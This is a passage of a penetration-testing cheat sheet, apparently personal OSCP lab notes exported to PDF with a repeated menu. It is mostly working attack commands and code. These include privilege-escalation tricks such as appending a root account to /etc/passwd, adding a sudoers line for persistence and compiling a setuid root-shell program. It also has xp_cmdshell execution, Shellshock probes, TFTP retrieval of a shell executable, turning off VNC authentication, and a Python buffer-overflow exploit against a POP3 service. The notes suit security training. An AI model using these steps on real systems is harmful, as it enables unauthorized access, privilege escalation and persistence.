rdesktop -u myuser -p mypass 10.11.1.226 -g 90%
```

Lookup windows version from product version in C:\Windows\explorer.exe: http://www.geoffchappell.com/studies/windows/shell/explorer/history/index.htm https://support.microsoft.com/en-us/help/969393/information-about-internet-explorer-versions

PE (switch admin user to NT Authority/System): `psexec.exe -s cmd`

`post/windows/gather/credentials/gpp` Meterpreter Search GPP

Windows Exploit Suggester

Compile `i686-w64-mingw32-gcc 646.c -lws2_32 -o 646.exe`

FTP

```
atftpd --daemon --port 69 `pwd`
c=tftp -i 10.11.0.235 get shellM.exe
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
meterpreter > reg setval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4 -v SecurityTypes -d None
Successfully set SecurityTypes of REG_SZ.
```

(Also try HKCU\Software\RealVNC\WinVNC4\SecurityTypes if above does not work)

SMB

service smbd start /root/smb is shared

Mount Using: `net use z: \\10.11.0.235\oscp\`

```
nbtscan -r 10.11.1.0/24
enum4linux -a 10.11.1.5
root@kali:~# nmblookup -A 10.11.1.136
smbclient -L \\host -I 10.11.1.136 -N
smbclient  //host/Bob\ Share -I 10.11.1.136 -N
```

MsSQL

https://www.iodigitalsec.com/2013/08/10/accessing-and-hacking-mssql-from-backtrack-linux/

```
sqsh -S10.11.1.31 -Usa -Ppoiuytrewq -Dbankdb`
vi  ~/.sqshrc
\set username=sa
\set password=password
\set style=vert

root@kali:~/# sqsh -S s128
sqsh-2.1.7 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2010 Michael Peppler
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1> xp_cmdshell 'whoami'
2> go
output: NT AUTHORITY\SYSTEM
output: NULL
(return status = 0)
1> xp_cmdshell 'type "C:\Documents and Settings\Administrator\Desktop\proof.txt"'
2> go
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
output: contents of proof.txt
output: NULL
(return status = 0)
```

PE

Sequence:

- Easy fail - /etc/passwd (and shadow) permision, SAM file in Repairs, check how patched the system is to get an idea of next steps
- Kernel Exploit
- Info disclosure in compromised service/user - also check logs and home folders
- files/folders/service (permission) misconfiguration
- Run LPC/WPC
- Follow PE guide

Once in, look for clues in current dir and user home dir

If you find both passwd and shadow you can use unshadow to combine them and then run john: Unshadow passwd shadow>combined

Always run ps aux: `ps -f ax` for parent id `ps afx` for graphical parent id

Shell shock

```
env x='() { :;}; echo vulnerable' bash -c "ps aux"
env x='() { :;}; /usr/bin/id' /bin/bash -c "/usr/bin/id"
/usr/bin/env x='() { :;}; /usr/bin/id' /bin/bash -c "ps aux"
```

check `sudo -l` for a list of commands that the current user can run as other users without entering any password.

if python is found `find / -name "python*" 2>/dev/null` it can be used to get TTY with: `python -c 'import pty; pty.spawn("/bin/bash")'`

Find writable files for user: `find / -writable -type f 2>/dev/null | grep -v ^/proc`

Any suspected file run periodically (via crontab) which can be edited might allow to PE.

look through logs to find interesting processes/configurations

Find files which have stickey bit on `/bin/find / -perm -4001 -type f 2>/dev/null`

uid and gid with root `find / -perm +2000 -user root -type f 2>/dev/null` `find / -perm +4000 -user root -type f 2>/dev/null`

Run command using stickybit in executable to get shell

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

- write c executable that sets setuid(0) setgid(0) then system(/bin/bash).
- As root, change owner to root:root and permission to 4755.
- Run it as your user and you have root shell check for files which stickey bits

/etc/passwd is writable:

```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```

add user in both passwd and shadow toor:toor:

```
echo 'toor:x:0:0:root:/root:/bin/bash' >>/etc/passwd
echo 'toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:
```

`msf exploit(handler) > run post/multi/recon/local_exploit_suggester`

if we have euid set to 1001 `python -c 'import os,pty; os.setresuid(1001,1001,1001); pty.spawn("/bin/bash")'`

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
        setuid(0); setgid(0); system("/bin/bash"); //setregit(0,0); setegit(0); in case we have only euid set to 0. To check r
}
```

Maintaing PE `echo "userName ALL=(ALL:ALL) ALL">>/etc/sudoers` then use sudo su from user userName

BO

Windows:

Immnunity debugger

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438

root@kali:~/labs/614# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker


```
00000000  FFE4              jmp esp
nasm > add eax,12
00000000  83C00C            add eax,byte +0xc

!mona modules
!mona find -s "\xff\xe4" -m SLMFC.DLL
```

write return address in the script return for x86 (LE)

Python script

```
#!/usr/bin/python
import socket
#string = "A"*2700
string = "A"*2606
string += "\xE3\x41\x4B\x5F"
buf =  "\x90"*20                # NOPs to allow decoding
string += buf
try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect(('10.11.17.98',110))
        s.recv(1024)
        s.send('USER test\r\n')
        s.recv(1024)
        s.send('PASS ' + string + '\r\n')
        s.send('QUIT\r\n')
        s.close()
except:
        print('Unable to connect')
        exit(0)
```

Linux:

```
edb --run /usr/games/crossfire/bin/crossfire

Strings <filename>
Ollydbg for windows
F2 - place breakpoint
F7 - jump into
F8 - allow completion
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Methodology
  - Http site
  - Enum
- Misc
  - SQLMAP
  - Linux
  - Python
  - PHP
  - WordPress
  - Samaba Share
  - Bruteforce
    - Password Cracking
  - Encoding
- Rev Shell
  - PHP web shell
- Metasploit
  - msfconsole
    - Meterperter
    - POST
  - Msfvenom
    - Persistence
- Windows
  - SMB
  - MsSQL
- PE
- BO
  - Python script
- Docker

objdump -d file will dump assembly

Docker

Get path of container in host file structure:

```
docker_path=/proc/$(docker inspect --format <ContainerID>)/root
```

transfer docker image to host by using `root@kali:~/# docker save uzyexe/nmap -o nmap.tar` and after copying on target:

```
docker load -input nmap.tar
docker run --network=br0 -it --rm uzyexe/nmap -sn -T4 -v 10.10.10.0/24 >scan.out &
```

Identify if you are inside a container - `cat /proc/self/cgroup | grep docker`

Walkthrough

Walkthrough

malikashish8

malikashish8

This a GitHub Pages project which holds Walkhtoughs/Write-up's of CTF, Vulnerable Machines and exploits that I come across.

Create PDF in your applications with the Pdfcrowd HTML to PDF API

PDFCROWD